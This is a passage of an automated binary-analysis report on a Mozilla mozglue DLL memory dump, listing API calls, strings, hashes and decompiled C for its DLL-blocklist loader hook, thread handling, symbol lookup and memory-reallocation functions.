0x6d0e2e29
0x6d0e2e2c
0x6d0e2e2f
0x6d0e2e35
0x6d0e2e3b
0x6d0e2e3d
0x6d0e3026
0x6d0e3032
0x6d0e3040
0x6d0e3048
0x6d0e304a
0x6d0e3051
0x6d0e3056
0x00000000
0x6d0e2e43
0x6d0e2e50
0x6d0e2e55
0x6d0e2e5c
0x6d0e2eed
0x6d0e2ef4
0x6d0e2ef7
0x6d0e2ef9
0x6d0e2efb
0x6d0e2f01
0x6d0e2f07
0x6d0e2f09
0x6d0e2f0c
0x6d0e2f11
0x6d0e2f12
0x6d0e2f14
0x6d0e2f39
0x6d0e2f3d
0x6d0e2f78
0x6d0e2f7d
0x6d0e2f83
0x6d0e2f85
0x6d0e2f93
0x6d0e2f98
0x6d0e2faa
0x6d0e2faf
0x6d0e2fb1
0x6d0e2fc7
0x6d0e2fcc
0x6d0e2fce
0x6d0e2fd0
0x6d0e2fd8
0x6d0e2fdb
0x6d0e2fde
0x6d0e2fe4
0x6d0e2fea
0x6d0e2fea
0x6d0e2fed
0x6d0e2fef
0x6d0e2ff6
0x6d0e2ff6
0x6d0e2ff1
0x6d0e2ff1
0x6d0e2ff1
0x6d0e2ff4
0x00000000
0x00000000
0x6d0e2ff4
0x6d0e2fef
0x6d0e2fed
0x6d0e2fce
0x6d0e2ffd
0x6d0e2fff
0x6d0e3002
0x6d0e3007
0x6d0e3008
0x6d0e3008
0x6d0e2f3f
0x6d0e2f45
0x6d0e2f4a
0x6d0e2f50
0x6d0e2f50
0x6d0e2f53
0x6d0e2f59
0x6d0e2f64
0x6d0e2f64
0x6d0e2f5b
0x6d0e2f5b
0x6d0e2f5b
0x6d0e2f5e
0x00000000
0x00000000
0x6d0e2f5e
0x6d0e2f59
0x6d0e2f53
0x6d0e3014
0x6d0e3019
0x6d0e3020
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2f16
0x6d0e2f22
0x6d0e2f2f
0x00000000
0x6d0e2f2f
0x6d0e2e5e
0x6d0e2e64
0x00000000
0x6d0e2e64
0x6d0e2e5c
0x6d0e2e1d
0x6d0e2e1d
0x6d0e2e24
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2e24
0x6d0e2dfd
0x6d0e2dfe
0x6d0e2e04
0x6d0e2e06
0x00000000
0x6d0e2e08
0x6d0e2e0d
0x6d0e2e13
0x6d0e2e15
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2e15
0x6d0e2e06
0x6d0e2dec
0x6d0e2ded
0x6d0e2df3
0x6d0e2df5
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2df5
0x6d0e2dea
0x6d0e2d13
0x6d0e2d13
0x6d0e2d19
0x6d0e2d20
0x6d0e2d25
0x6d0e2d58
0x6d0e2d5a
0x6d0e2d62
0x6d0e2d65
0x00000000
0x6d0e2d67
0x6d0e2d67
0x6d0e2d69
0x6d0e2d6b
0x6d0e2d6d
0x6d0e2d6f
0x6d0e2d6f
0x6d0e2d73
0x6d0e2d7a
0x6d0e2d7c
0x00000000
0x00000000
0x6d0e2d7e
0x6d0e2d7f
0x6d0e2d81
0x00000000
0x00000000
0x00000000
0x6d0e2d81
0x6d0e2d83
0x6d0e2d89
0x6d0e2d8f
0x6d0e2d8f
0x6d0e2d95
0x6d0e2d97
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e2d97
0x6d0e2d27
0x6d0e2d27
0x6d0e2d36
0x6d0e2d3a
0x6d0e2d40
0x6d0e2d43
0x6d0e2d4c
0x00000000
0x6d0e2d4e
0x6d0e2d4e
0x6d0e2d4e
0x6d0e2d4c
0x6d0e2d25
0x6d0e2ec7
0x6d0e2ed7
0x6d0e2ed7
0x6d0e2cb3
0x6d0e2cb3
0x6d0e2cb3
0x6d0e2cb7
0x6d0e2cc0
0x00000000
0x00000000
0x6d0e2ccd
0x6d0e2cd3
0x6d0e2cd5
0x6d0e2cd5
0x6d0e2cd8
0x6d0e2cdf
0x6d0e2ce2
0x00000000
0x6d0e2ce4
0x6d0e2ce4
0x00000000
0x6d0e2ce4
0x00000000
0x6d0e2ce2
0x00000000
0x6d0e2cb3
0x6d0e2cb1
0x6d0e2ca7
0x6d0e2c5a
0x00000000

APIs

strchr.VCRUNTIME140(?,0000002E), ref: 6D0E2D02
strchr.VCRUNTIME140(00000001,0000002E), ref: 6D0E2D19
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6D0E2D3A
isxdigit.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E2D73
jemalloc_purge_freed_pages.MOZGLUE(?,?,?,?,WindowsDllBlocklist::patched_LdrLoadDll,?,0000030E), ref: 6D0E2EA5
free.MOZGLUE(00000000), ref: 6D0E2EBF
free.MOZGLUE(?), ref: 6D0E2F0C
GetFileVersionInfoSizeW.VERSION(00000000,?), ref: 6D0E2F78
GetFileVersionInfoW.VERSION(00000000,00000000,?,?,00000000,?), ref: 6D0E2FAA
VerQueryValueW.VERSION(?,6D0FA4EC,?,?,00000000,00000000,?,?,00000000,?), ref: 6D0E2FC7
free.MOZGLUE(?,00000000,00000000,?,?,00000000,?), ref: 6D0E3002
free.MOZGLUE(00000000), ref: 6D0E3051

Strings

LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6D0E2F1D
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6D0E302D
WindowsDllBlocklist::patched_LdrLoadDll, xrefs: 6D0E2E75

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: free$FileInfoVersionstrchr$QuerySizeValue_strtoui64isxdigitjemalloc_purge_freed_pages
String ID: LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$WindowsDllBlocklist::patched_LdrLoadDll
API String ID: 1901801077-4063581197
Opcode ID: 9e7d7b4be8b19c0965a14802006ae532362872da0444815fd5d644d634ef4a31
Instruction ID: 55ffd23e7d09705985abfc8f66493d2b3ef0c58d0a210930158ca8d51b475859
Opcode Fuzzy Hash: 9e7d7b4be8b19c0965a14802006ae532362872da0444815fd5d644d634ef4a31
Instruction Fuzzy Hash: 77C19E3190822A9EFB35CB74CC80BAEB7F9BF45394F5080DAD949E7241DB309A85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EA7E0, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 121
stringCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6D0EA7E0(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, char* _a8) {
				signed int _v8;
				char _v2012;
				intOrPtr _v2016;
				char _v2096;
				char _v3452;
				intOrPtr _v3768;
				char _v3776;
				intOrPtr _v3780;
				intOrPtr _v3784;
				void* _v3788;
				char _v3796;
				char* _v3808;
				char _v3812;
				char _v3820;
				signed int _t41;
				void* _t47;
				char* _t49;
				void* _t61;
				signed int _t65;
				intOrPtr _t66;
				signed int _t68;
				intOrPtr _t75;
				char* _t83;
				signed int _t84;
				void* _t85;
				void* _t86;

				_t75 = __edx;
				_t41 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t41 ^ _t84;
				_t65 =  *0x6d100334; // 0x0
				_v3780 = _a4;
				_t83 = _a8;
				 *_t83 = 0;
				_t44 =  &(_t83[0x208]);
				_t83[0x100] = 0;
				_t83[0x104] = 0;
				_t83[0x204] = 0;
				_t83[0x208] = 0;
				_t83[0x308] = 0;
				if(_t65 != 0) {
					L5:
					_v3788 = GetCurrentProcess();
					EnterCriticalSection(0x6d10030c);
					_t66 = _v3780;
					asm("cdq");
					_v3784 = _t66;
					_v3780 = _t75;
					_t47 = E6D0EAE18(_t66, _t45, _t66, _t75,  &_v3776,  &_v3820);
					_t86 = _t85 + 0x14;
					if(_t47 != 0) {
						strncpy(_t83,  &_v3452, 0x100);
						_t86 = _t86 + 0xc;
						_t83[0xff] = 0;
						_t83[0x100] = _t66 - _v3768;
						if(_v3808 != 0) {
							strncpy( &(_t83[0x104]), _v3808, 0x100);
							_t86 = _t86 + 0xc;
							_t83[0x203] = 0;
							_t83[0x204] = _v3812;
						}
					}
					_v2096 = 0x58;
					_t49 =  &_v3796;
					_v2016 = 0x7d0;
					__imp__SymFromAddr(_v3788, _v3784, _v3780, _t49,  &_v2096);
					if(_t49 != 0) {
						strncpy( &(_t83[0x208]),  &_v2012, 0x100);
						_t83[0x307] = 0;
						_t83[0x308] = _v3796;
					}
					LeaveCriticalSection(0x6d10030c);
					L11:
					return E6D0F70C0(_v8 ^ _t84);
				}
				E6D0EA7BF(_t44);
				__imp__SymSetOptions(0x12);
				_t61 = GetCurrentProcess();
				__imp__SymInitialize(_t61, 0, 1);
				_t68 = _t65 & 0xffffff00 | _t61 != 0x00000000;
				if(_t61 == 0) {
					E6D0EADB0(0, "SymInitialize");
				}
				 *0x6d100334 = _t68;
				if(_t68 != 0) {
					goto L5;
				} else {
					goto L11;
				}
			}

0x6d0ea7e0
0x6d0ea7e9
0x6d0ea7f0
0x6d0ea7f9
0x6d0ea7ff
0x6d0ea806
0x6d0ea810
0x6d0ea812
0x6d0ea818
0x6d0ea81e
0x6d0ea824
0x6d0ea82a
0x6d0ea82c
0x6d0ea834
0x6d0ea875
0x6d0ea87e
0x6d0ea884
0x6d0ea88a
0x6d0ea892
0x6d0ea895
0x6d0ea8a1
0x6d0ea8b2
0x6d0ea8bd
0x6d0ea8c2
0x6d0ea8d1
0x6d0ea8d9
0x6d0ea8e3
0x6d0ea8ea
0x6d0ea8f0
0x6d0ea904
0x6d0ea90c
0x6d0ea90f
0x6d0ea916
0x6d0ea916
0x6d0ea8f0
0x6d0ea922
0x6d0ea92d
0x6d0ea933
0x6d0ea950
0x6d0ea958
0x6d0ea96d
0x6d0ea978
0x6d0ea97f
0x6d0ea97f
0x6d0ea98a
0x6d0ea992
0x6d0ea9a2
0x6d0ea9a2
0x6d0ea836
0x6d0ea83d
0x6d0ea847
0x6d0ea84a
0x6d0ea852
0x6d0ea857
0x6d0ea85e
0x6d0ea863
0x6d0ea864
0x6d0ea86c
0x00000000
0x6d0ea86e
0x00000000
0x6d0ea86e

APIs

SymSetOptions.DBGHELP(00000012), ref: 6D0EA83D
GetCurrentProcess.KERNEL32(00000000,00000001), ref: 6D0EA847
SymInitialize.DBGHELP(00000000), ref: 6D0EA84A

Part of subcall function 6D0EADB0: GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
Part of subcall function 6D0EADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
Part of subcall function 6D0EADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
Part of subcall function 6D0EADB0: LocalFree.KERNEL32(?), ref: 6D0EAE0E

GetCurrentProcess.KERNEL32 ref: 6D0EA875
EnterCriticalSection.KERNEL32(6D10030C), ref: 6D0EA884
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6D0EA8D1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000100), ref: 6D0EA904
SymFromAddr.DBGHELP(?,?,?,?,?), ref: 6D0EA950
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6D0EA96D
LeaveCriticalSection.KERNEL32(6D10030C), ref: 6D0EA98A

Part of subcall function 6D0EA7BF: InitializeCriticalSection.KERNEL32(6D10030C,6D0EA83B), ref: 6D0EA7CD

Strings

X, xrefs: 6D0EA922
SymInitialize, xrefs: 6D0EA859

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionstrncpy$CurrentInitializeProcess__acrt_iob_func$AddrEnterErrorFormatFreeFromLastLeaveLocalMessageOptionsfflush
String ID: SymInitialize$X
API String ID: 2944712559-3182666042
Opcode ID: 41c832d22fb6f61645caa2feddaa59fe75cca3931bf4cfe9ae5f699b8e62c914
Instruction ID: 6459efa1b28b762d16e58d692156b01bb25eaefc89c94f20b197449e4d3c8b5c
Opcode Fuzzy Hash: 41c832d22fb6f61645caa2feddaa59fe75cca3931bf4cfe9ae5f699b8e62c914
Instruction Fuzzy Hash: E8418F719053599FEB21DF24DC44FEEB7B8EF49300F1444AAE989A7241DBB16A84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E2070, Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 62
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0E2070(intOrPtr _a4) {
				void* _t2;
				struct HINSTANCE__* _t7;

				if( *0x6d10019c == 0) {
					 *0x6d100198 = _a4;
					 *0x6d10019c = 1;
					GetModuleHandleA("user32.dll");
					_t18 =  !=  ? 1 :  *0x6d10019e & 0x000000ff;
					 *0x6d10019e =  !=  ? 1 :  *0x6d10019e & 0x000000ff;
					if( *0x6d100130 == 0) {
						 *0x6d100134 =  *0x6d100134 & 0x00000000;
						_t32 =  *0x6d100134;
						_t11 = "ntdll.dll";
						 *0x6d100130 = "ntdll.dll";
						E6D0E23EE(0x6d1000d8,  *0x6d100134, _t11);
					}
					E6D0E2411(_t32);
					E6D0E1D2F(0x6d1000d8, "LdrLoadDll", E6D0E2BE0, 0x6d1001a0);
					_t21 =  ==  ? 1 :  *0x6d10019d & 0x000000ff;
					 *0x6d10019d =  ==  ? 1 :  *0x6d10019d & 0x000000ff;
					if( *0x6d10019e == 0) {
						LoadLibraryW(L"user32.dll");
					}
					if( *0x6d100190 == 0) {
						 *0x6d100194 =  *0x6d100194 & 0x00000000;
						_t8 = "kernel32.dll";
						 *0x6d100190 = "kernel32.dll";
						E6D0E23EE(0x6d100138,  *0x6d100194, _t8);
					}
					_t7 = GetModuleHandleW(L"WRusr.dll");
					if(_t7 == 0) {
						_t7 = E6D0E1D2F(0x6d100138, "BaseThreadInitThunk", E6D0E2B50, 0x6d1000cc);
					}
					return _t7;
				}
				return _t2;
			}

0x6d0e207a
0x6d0e2087
0x6d0e2092
0x6d0e2098
0x6d0e20ac
0x6d0e20b6
0x6d0e20bc
0x6d0e20be
0x6d0e20be
0x6d0e20c5
0x6d0e20cd
0x6d0e20d2
0x6d0e20d2
0x6d0e20d7
0x6d0e20ed
0x6d0e20fb
0x6d0e2105
0x6d0e210b
0x6d0e2112
0x6d0e2112
0x6d0e2124
0x6d0e2126
0x6d0e212d
0x6d0e2135
0x6d0e213a
0x6d0e213a
0x6d0e2144
0x6d0e214c
0x6d0e215f
0x6d0e215f
0x00000000
0x6d0e2165
0x6d0e2167

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 6D0E2098
LoadLibraryW.KERNEL32(user32.dll,LdrLoadDll,6D0E2BE0,6D1001A0), ref: 6D0E2112
GetModuleHandleW.KERNEL32(WRusr.dll,LdrLoadDll,6D0E2BE0,6D1001A0), ref: 6D0E2144

Part of subcall function 6D0E23EE: LoadLibraryExA.KERNEL32(?,00000000,00000000,6D100138,?,6D0E213F,kernel32.dll,LdrLoadDll,6D0E2BE0,6D1001A0), ref: 6D0E2404

Strings

LdrLoadDll, xrefs: 6D0E20E6
user32.dll, xrefs: 6D0E210D
ntdll.dll, xrefs: 6D0E20C5, 6D0E20CA
BaseThreadInitThunk, xrefs: 6D0E2158
WRusr.dll, xrefs: 6D0E213F
kernel32.dll, xrefs: 6D0E212D, 6D0E2132
user32.dll, xrefs: 6D0E208D

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID: BaseThreadInitThunk$LdrLoadDll$WRusr.dll$kernel32.dll$ntdll.dll$user32.dll$user32.dll
API String ID: 4133054770-3884310913
Opcode ID: 8258ff134462c42237722b0af1658f3a9d7c72ee29bb2055e973f822041aaf16
Instruction ID: 411cb7c17fc58e8312e1d8ff8bc8ef8a8910ae9a5017ea76b44418fc3196583a
Opcode Fuzzy Hash: 8258ff134462c42237722b0af1658f3a9d7c72ee29bb2055e973f822041aaf16
Instruction Fuzzy Hash: FE11B1F0A08255AFFF01BF72A864B293BF45707699F10005CEA09A714ACFB4C848CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB090, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 74
synchronizationthreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6D0EB090(void* __ecx, void* __edi, void* _a4) {
				intOrPtr _v20;
				char _v32;
				void* __ebx;
				void* __esi;
				void* _t15;
				intOrPtr* _t27;
				void* _t28;
				void* _t29;
				intOrPtr _t31;

				_t29 = __edi;
				_t28 = __ecx;
				 *0x6d101020( &_v32, 0, 0x400, 0x400, 0);
				SetEvent(_a4);
				_t27 =  *0x6d101028;
				_t15 =  *_t27( &_v32, 0xffffffff, 0, 0);
				if(_t15 != 0) {
					do {
						if(_t15 != 0xffffffff) {
							_t31 = _v20;
							if(_t31 != 0) {
								if(WaitForSingleObject( *(_t31 + 0x10), 0xffffffff) != 0) {
									E6D0EADB0(_t28, "WaitForSingleObject");
									_pop(_t28);
								}
								if(SuspendThread( *(_t31 + 8)) != 0xffffffff) {
									E6D0EAEA2(_t27, _t28, _t29, _t31, _t31);
									_pop(_t28);
									if(ResumeThread( *(_t31 + 8)) == 0xffffffff) {
										_push("ThreadResume");
										goto L11;
									}
								} else {
									_push("ThreadSuspend");
									L11:
									E6D0EADB0(_t28);
									_pop(_t28);
								}
								SetEvent( *(_t31 + 0x14));
							}
						} else {
							E6D0EADB0(_t28, "GetMessage");
							_pop(_t28);
						}
						_t15 =  *_t27( &_v32, 0xffffffff, 0, 0);
					} while (_t15 != 0);
				}
				return 0;
			}

0x6d0eb090
0x6d0eb090
0x6d0eb0a6
0x6d0eb0af
0x6d0eb0b7
0x6d0eb0c3
0x6d0eb0c7
0x6d0eb0ce
0x6d0eb0d1
0x6d0eb0e0
0x6d0eb0e5
0x6d0eb0f4
0x6d0eb0fb
0x6d0eb100
0x6d0eb100
0x6d0eb10d
0x6d0eb117
0x6d0eb11c
0x6d0eb129
0x6d0eb12b
0x00000000
0x6d0eb12b
0x6d0eb10f
0x6d0eb10f
0x6d0eb130
0x6d0eb130
0x6d0eb135
0x6d0eb135
0x6d0eb139
0x6d0eb139
0x6d0eb0d3
0x6d0eb0d8
0x6d0eb0dd
0x6d0eb0dd
0x6d0eb149
0x6d0eb14b
0x6d0eb153
0x6d0eb15a

APIs

SetEvent.KERNEL32(?), ref: 6D0EB0AF
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6D0EB0EC
SuspendThread.KERNEL32(?), ref: 6D0EB104
SetEvent.KERNEL32(?), ref: 6D0EB139

Part of subcall function 6D0EADB0: GetLastError.KERNEL32(00000000,?,6D0EA707,CreateThread), ref: 6D0EADB4
Part of subcall function 6D0EADB0: FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,?,6D0EA707,CreateThread), ref: 6D0EADCE
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,### ERROR: %s: %s,6D0EA707,00000000,?,6D0EA707), ref: 6D0EADEC
Part of subcall function 6D0EADB0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,6D0EA707), ref: 6D0EADFB
Part of subcall function 6D0EADB0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6D0EAE02
Part of subcall function 6D0EADB0: LocalFree.KERNEL32(?), ref: 6D0EAE0E

Strings

GetMessage, xrefs: 6D0EB0D3
ThreadSuspend, xrefs: 6D0EB10F
ThreadResume, xrefs: 6D0EB12B
WaitForSingleObject, xrefs: 6D0EB0F6

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: Event__acrt_iob_func$ErrorFormatFreeLastLocalMessageObjectSingleSuspendThreadWaitfflush
String ID: GetMessage$ThreadResume$ThreadSuspend$WaitForSingleObject
API String ID: 2561815822-938678159
Opcode ID: d75ea76b932dc99cf22b7a33458e65f32ea310184e6b1f00e3edf2fbe739e50e
Instruction ID: 7b38f96cb6962dca9560649ebf41d59c849e1968d78cbff545b27a29c30c068d
Opcode Fuzzy Hash: d75ea76b932dc99cf22b7a33458e65f32ea310184e6b1f00e3edf2fbe739e50e
Instruction Fuzzy Hash: 9011727190820A6FFB106FB4AC48FAE77B9EB053B4F714715FA35D30D1DB24A8414624

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E585A, Relevance: 15.2, APIs: 9, Strings: 1, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D0E585A(intOrPtr __ecx, signed int __edx, void* _a8, intOrPtr _a12) {
				void* _v0;
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t61;
				void* _t62;
				void* _t65;
				void* _t73;
				intOrPtr _t78;
				void* _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t98;
				signed int _t101;
				void* _t107;
				void* _t113;
				intOrPtr _t115;
				intOrPtr _t116;
				void* _t118;
				void* _t119;
				intOrPtr _t126;
				intOrPtr _t144;
				signed int _t147;
				intOrPtr _t148;
				void* _t151;
				intOrPtr _t154;
				void* _t157;
				struct _CRITICAL_SECTION* _t158;
				intOrPtr _t160;
				void* _t165;
				void* _t169;
				intOrPtr* _t170;

				_t141 = __edx;
				_t121 = __ecx;
				if(_a8 > 0xff000) {
					_pop(_t164);
					_t165 = _t169;
					_t170 = _t169 - 0x20;
					_t113 = _a8;
					_t154 = _a12;
					_t144 = __ecx;
					_v8 = __ecx;
					__eflags = _t154 - 0xff000;
					if(_t154 <= 0xff000) {
						L19:
						_t61 = E6D0E559C(_t141, _t113, 0x100000, 0);
						_a8 = _t61;
						__eflags = _t61;
						if(_t61 == 0) {
							goto L12;
						} else {
							__eflags = _t113 - _t154;
							_t156 =  <  ? _t113 : _t154;
							_t157 = _v0;
							memcpy(_t61, _t157,  <  ? _t113 : _t154);
							_push(_t144);
							_t65 = _t157 & 0x000fffff;
							__eflags = _t65;
							if(_t65 == 0) {
								E6D0E815E(_t113, _t141, _t144, _t157, _t157);
							} else {
								_push(_t65);
								_push(_t157);
								E6D0E7822(_t121);
							}
							_t62 = _a8;
						}
						goto L24;
					} else {
						_t5 = _t113 + 0xfffff; // 0x1fefff
						_t141 = _t5 ^ _t154 + 0x000fffff;
						__eflags = _t141 & 0xfff00000;
						if((_t141 & 0xfff00000) != 0) {
							goto L19;
						} else {
							_t9 = _t113 + 0xfff; // 0xfffff
							_t147 = _t9 & 0xfffff000;
							__eflags = _t113 - _t154;
							if(_t113 < _t154) {
								_t95 = _v0 + _t113;
								__eflags = _t95;
								memset(_t95, 0xe5, _t154 - _t113);
								_t170 = _t170 + 0xc;
							}
							__eflags = _t147 - _t154;
							if(__eflags >= 0) {
								if(__eflags <= 0) {
									goto L18;
								} else {
									_t73 = E6D0E8B36(_v0 + _t154, _t147 - _t154);
									__eflags = _t73;
									if(_t73 != 0) {
										_t115 = _v12;
										goto L14;
									} else {
										L12:
										_t62 = 0;
										goto L24;
									}
								}
							} else {
								_t118 = _v0;
								E6D0E8B8E(_t118, _t147, _t147 + _t118, _t154 - _t147);
								EnterCriticalSection(0x6d10028c);
								_v24 = _t118;
								_t88 = E6D0E722B(0x6d1002a4,  &_a8,  &_v40);
								_t115 = _v12;
								_t126 =  *_t88;
								__eflags =  *((intOrPtr*)(_t126 + 0x18)) - _t115;
								if( *((intOrPtr*)(_t126 + 0x18)) != _t115) {
									E6D0E90E5("MOZ_RELEASE_ASSERT(node->mArena == this)");
									asm("int3");
									 *_t170 = 0xe17;
									goto L26;
								} else {
									 *(_t126 + 0x14) = _t147;
									 *0x6d1002a8 =  *0x6d1002a8 + _t147 - _t154;
									LeaveCriticalSection(0x6d10028c);
									L14:
									__eflags = _t147 - _t154;
									if(_t147 <= _t154) {
										L18:
										_t62 = _v0;
										L24:
										return _t62;
									} else {
										EnterCriticalSection(0x6d10028c);
										_t126 = 0x6d1002a4;
										_v24 = _v0;
										_t78 =  *((intOrPtr*)(E6D0E722B(0x6d1002a4,  &_a8,  &_v40)));
										__eflags =  *((intOrPtr*)(_t78 + 0x18)) - _t115;
										if( *((intOrPtr*)(_t78 + 0x18)) == _t115) {
											 *(_t78 + 0x14) = _t147;
											 *0x6d1002a8 =  *0x6d1002a8 + _t147 - _t154;
											__eflags =  *0x6d1002a8;
											LeaveCriticalSection(0x6d10028c);
											goto L18;
										} else {
											E6D0E90E5("MOZ_RELEASE_ASSERT(node->mArena == this)");
											asm("int3");
											 *_t170 = 0xe30;
											L26:
											E6D0E8DD0();
											asm("int3");
											_push(_t165);
											_push(_t115);
											_t116 = _t126;
											_push(_t154);
											_push(_t147);
											_t158 = _t116 + 0xc;
											EnterCriticalSection(_t158);
											_t148 = _v40;
											_t81 = E6D0E77A1(_t116, _v48, _v44, _v36, _t148, 1);
											_t37 = _t116 + 0x30;
											 *_t37 =  *(_t116 + 0x30) + _t148 - _v36;
											__eflags =  *_t37;
											LeaveCriticalSection(_t158);
											return _t81;
										}
									}
								}
							}
						}
					}
				} else {
					_pop(_t167);
					_push(_t112);
					_t119 = _a8;
					_push(_t153);
					_push(_t143);
					_v8 = __ecx;
					E6D0E33B9( &_v16, __edx, _t119);
					_t160 = _a12;
					if(_t160 > 0xff000 || _v16 != _t160) {
						__eflags = _v20 - 3;
						_t151 = _v0;
						if(_v20 != 3) {
							L38:
							_t134 = _v12;
							_t98 = E6D0E4AA5(_v12, _t119, 0);
							_v0 = _t98;
							__eflags = _t98;
							if(_t98 != 0) {
								__eflags = _t119 - _t160;
								_t162 =  <  ? _t119 : _t160;
								memcpy(_t98, _t151,  <  ? _t119 : _t160);
								_push(_v12);
								_t101 = _t151 & 0x000fffff;
								__eflags = _t101;
								if(_t101 == 0) {
									E6D0E815E(_t119, _t141, _t151, _t162, _t151);
								} else {
									_push(_t101);
									_push(_t151);
									E6D0E7822(_t134);
								}
								_t98 = _v0;
							}
						} else {
							_t48 = _t160 - 0x801; // -2049
							__eflags = _t48 - 0xfe7ff;
							if(_t48 > 0xfe7ff) {
								goto L38;
							} else {
								_t106 = _t151 & 0xfff00000;
								_v0 = _t151 & 0xfff00000;
								__eflags = _v16 - _t160;
								if(_v16 >= _t160) {
									_t107 = E6D0E5872(_v12, _t106, _t151, _v16, _t160);
									__eflags = _t107;
									if(_t107 != 0) {
										goto L32;
									} else {
										goto L38;
									}
								} else {
									memset(_t151 + _t119, 0xe5, _t160 - _t119);
									_push(_t160);
									_push(_v16);
									_push(_t151);
									_push(_v0);
									L27();
									goto L32;
								}
							}
						}
					} else {
						_t151 = _v0;
						if(_t119 < _t160) {
							memset(_t151 + _t119, 0xe5, _t160 - _t119);
						}
						L32:
						_t98 = _t151;
					}
					return _t98;
				}
			}

0x6d0e585a
0x6d0e585a
0x6d0e5864
0x6d0e586c
0x6d0e591c
0x6d0e591e
0x6d0e5922
0x6d0e5926
0x6d0e592a
0x6d0e592c
0x6d0e592f
0x6d0e5935
0x6d0e5a60
0x6d0e5a68
0x6d0e5a6d
0x6d0e5a70
0x6d0e5a72
0x00000000
0x6d0e5a74
0x6d0e5a74
0x6d0e5a76
0x6d0e5a7a
0x6d0e5a7f
0x6d0e5a89
0x6d0e5a8a
0x6d0e5a8a
0x6d0e5a8f
0x6d0e5a9e
0x6d0e5a91
0x6d0e5a91
0x6d0e5a92
0x6d0e5a93
0x6d0e5a98
0x6d0e5aa5
0x6d0e5aa5
0x00000000
0x6d0e593b
